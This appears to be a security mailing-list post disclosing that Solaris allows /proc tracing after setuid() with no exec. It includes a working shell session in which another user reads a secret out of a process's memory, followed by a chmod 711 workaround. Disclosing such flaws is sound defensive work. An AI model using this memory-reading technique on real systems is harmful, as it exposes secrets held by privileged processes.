Tracing by uid u after root does setuid(u)

[djb () CR YP TO (D. J. Bernstein)]

Neale Banks writes:
> You are proposing that some significant security is obtained by making
> an executable file unreadable?

Here's a sample session under Solaris:

   # head -1 > login.c
   static char secret[10]; main() { read(0,secret,10); setuid(1); sleep(60); }
   # gcc -o login login.c
   # echo OSSIFRAGE | ./login &
   25145
   # nm login | grep secret
   [35] |    133268|      10|OBJT |LOCL |0    |17     |secret
   # su daemon -c '(lseek 133268; dd bs=10 count=1) < /proc/25145'
   OSSIFRAGE
   1+0 records in
   1+0 records out

That's right: tracing is allowed even though there hasn't been an exec.
Many programs that use setuid() can be exploited this way. For example,
you lose all security if you use the chdir()/setuid() mechanism
suggested by Steve Bellovin and Gene Spafford.

Fortunately, as I said, there's a trivial workaround. All you have to do
is make the binaries unreadable:

   # chmod 711 login
   # su daemon -c ': < /proc/25145'
   su: /proc/25145: cannot open

Perhaps the Sun kernel developers aren't aware that it's bad to allow
tracing after a program changes uid, but obviously they are aware that
it's bad to allow tracing of an unreadable program. In fact, the /proc
documentation identifies this as a security measure.

I'm not saying that unreadability provides some sort of magic immunity
against any conceivable OS bug; but I haven't found any systems where
it's inadequate.

---Dan